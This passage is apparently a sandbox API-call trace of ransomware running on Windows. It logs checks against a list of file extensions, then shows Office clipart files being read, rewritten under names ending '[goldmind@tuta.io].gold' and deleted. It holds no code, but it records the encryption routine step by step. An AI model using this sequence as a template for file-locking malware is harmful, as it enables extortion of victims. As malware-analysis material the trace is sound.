Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".zip") returned 4 [0102.451] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString=".rar") returned 4 [0102.451] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString=".bz2") returned 4 [0102.451] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.451] lstrlenW (lpString=".7z") returned 3 [0102.451] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".dbf") returned 4 [0102.451] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".1cd") returned 4 [0102.451] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".jpg") returned 4 [0102.451] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".doc") returned 4 [0102.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.451] lstrlenW (lpString=".docx") returned 5 [0102.451] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0102.451] lstrlenW (lpString=".pdf") returned 4 [0102.451] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString=".xls") returned 4 [0102.451] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.452] lstrlenW (lpString=".xlsx") returned 5 [0102.452] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0102.452] lstrlenW (lpString=".ppt") returned 4 [0102.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.452] lstrlenW (lpString=".zip") returned 4 [0102.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.452] lstrlenW (lpString=".rar") returned 4 [0102.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.452] lstrlenW (lpString=".bz2") returned 4 [0102.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.452] lstrlenW (lpString=".7z") returned 3 [0102.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.452] lstrlenW (lpString=".dbf") returned 4 [0102.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.452] lstrlenW (lpString=".1cd") returned 4 [0102.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.452] lstrlenW (lpString=".jpg") returned 4 [0102.452] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.452] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.452] lstrlenW (lpString="J0099193.GIF") returned 12 [0102.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.453] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=35546) returned 1 [0102.453] CloseHandle (hObject=0x230) returned 1 [0102.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0102.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.453] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.453] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.454] GetLastError () returned 0x0 [0102.454] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x8ada, lpOverlapped=0x0) returned 1 [0102.456] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0102.457] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.457] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.457] SetEndOfFile (hFile=0x39c) returned 1 [0102.457] CloseHandle (hObject=0x39c) returned 1 [0102.457] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.457] SetEndOfFile (hFile=0x230) returned 1 [0102.459] CloseHandle (hObject=0x230) returned 1 [0102.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString=".doc") returned 4 [0102.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.460] lstrlenW (lpString=".docx") returned 5 [0102.460] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0102.460] lstrlenW (lpString=".pdf") returned 4 [0102.460] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.460] lstrlenW (lpString=".xls") returned 4 [0102.460] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.460] lstrlenW (lpString=".xlsx") returned 5 [0102.460] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0102.460] lstrlenW (lpString=".ppt") returned 4 [0102.460] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString=".zip") returned 4 [0102.460] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.460] lstrlenW (lpString=".rar") returned 4 [0102.460] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.460] lstrlenW (lpString=".bz2") returned 4 [0102.460] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.460] lstrlenW (lpString=".7z") returned 3 [0102.460] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString=".dbf") returned 4 [0102.460] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString=".1cd") returned 4 [0102.460] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.460] lstrlenW (lpString=".jpg") returned 4 [0102.460] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString=".doc") returned 4 [0102.461] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.461] lstrlenW (lpString=".docx") returned 5 [0102.461] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0102.461] lstrlenW (lpString=".pdf") returned 4 [0102.461] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString=".xls") returned 4 [0102.461] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString=".xlsx") returned 5 [0102.461] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0102.461] lstrlenW (lpString=".ppt") returned 4 [0102.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString=".zip") returned 4 [0102.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString=".rar") returned 4 [0102.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.461] lstrlenW (lpString=".bz2") returned 4 [0102.461] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.461] lstrlenW (lpString=".7z") returned 3 [0102.461] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString=".dbf") returned 4 [0102.461] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString=".1cd") returned 4 [0102.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0102.461] lstrlenW (lpString=".jpg") returned 4 [0102.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.461] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.461] lstrlenW (lpString="J0099194.GIF") returned 12 [0102.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.462] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=25265) returned 1 [0102.462] CloseHandle (hObject=0x230) returned 1 [0102.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0102.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.462] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.462] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.463] GetLastError () returned 0x0 [0102.463] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x62b1, lpOverlapped=0x0) returned 1 [0102.465] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x62c0, lpOverlapped=0x0) returned 1 [0102.466] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.466] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.466] SetEndOfFile (hFile=0x39c) returned 1 [0102.466] CloseHandle (hObject=0x39c) returned 1 [0102.466] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.466] SetEndOfFile (hFile=0x230) returned 1 [0102.468] CloseHandle (hObject=0x230) returned 1 [0102.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".doc") returned 4 [0102.469] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.469] lstrlenW (lpString=".docx") returned 5 [0102.469] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0102.469] lstrlenW (lpString=".pdf") returned 4 [0102.469] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".xls") returned 4 [0102.469] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".xlsx") returned 5 [0102.469] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0102.469] lstrlenW (lpString=".ppt") returned 4 [0102.469] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".zip") returned 4 [0102.469] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".rar") returned 4 [0102.469] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".bz2") returned 4 [0102.469] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.469] lstrlenW (lpString=".7z") returned 3 [0102.469] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".dbf") returned 4 [0102.469] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".1cd") returned 4 [0102.469] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".jpg") returned 4 [0102.469] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.469] lstrlenW (lpString=".doc") returned 4 [0102.469] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.469] lstrlenW (lpString=".docx") returned 5 [0102.469] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0102.469] lstrlenW (lpString=".pdf") returned 4 [0102.469] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".xls") returned 4 [0102.469] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.469] lstrlenW (lpString=".xlsx") returned 5 [0102.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0102.470] lstrlenW (lpString=".ppt") returned 4 [0102.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.470] lstrlenW (lpString=".zip") returned 4 [0102.470] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.470] lstrlenW (lpString=".rar") returned 4 [0102.470] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.470] lstrlenW (lpString=".bz2") returned 4 [0102.470] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.470] lstrlenW (lpString=".7z") returned 3 [0102.470] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.470] lstrlenW (lpString=".dbf") returned 4 [0102.470] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0102.470] lstrlenW (lpString=".1cd") returned 4 [0102.470] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0103.015] lstrlenW (lpString=".jpg") returned 4 [0103.015] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.016] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0103.016] lstrlenW (lpString="J0099205.WMF") returned 12 [0103.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.154] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17854) returned 1 [0103.154] CloseHandle (hObject=0x364) returned 1 [0103.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0103.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0103.155] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.155] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.696] GetLastError () returned 0x0 [0103.696] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x45be, lpOverlapped=0x0) returned 1 [0103.702] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0103.703] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.703] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.703] SetEndOfFile (hFile=0x38c) returned 1 [0103.703] CloseHandle (hObject=0x38c) returned 1 [0103.703] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.703] SetEndOfFile (hFile=0x3b8) returned 1 [0103.705] CloseHandle (hObject=0x3b8) returned 1 [0103.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.737] lstrlenW (lpString=".doc") returned 4 [0103.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString=".docx") returned 5 [0103.737] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0103.737] lstrlenW (lpString=".pdf") returned 4 [0103.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString=".xls") returned 4 [0103.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0103.737] lstrlenW (lpString=".xlsx") returned 5 [0103.737] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0103.737] lstrlenW (lpString=".ppt") returned 4 [0103.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.737] lstrlenW (lpString=".zip") returned 4 [0103.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0103.737] lstrlenW (lpString=".rar") returned 4 [0103.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString=".bz2") returned 4 [0103.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString=".7z") returned 3 [0103.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.737] lstrlenW (lpString=".dbf") returned 4 [0103.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft 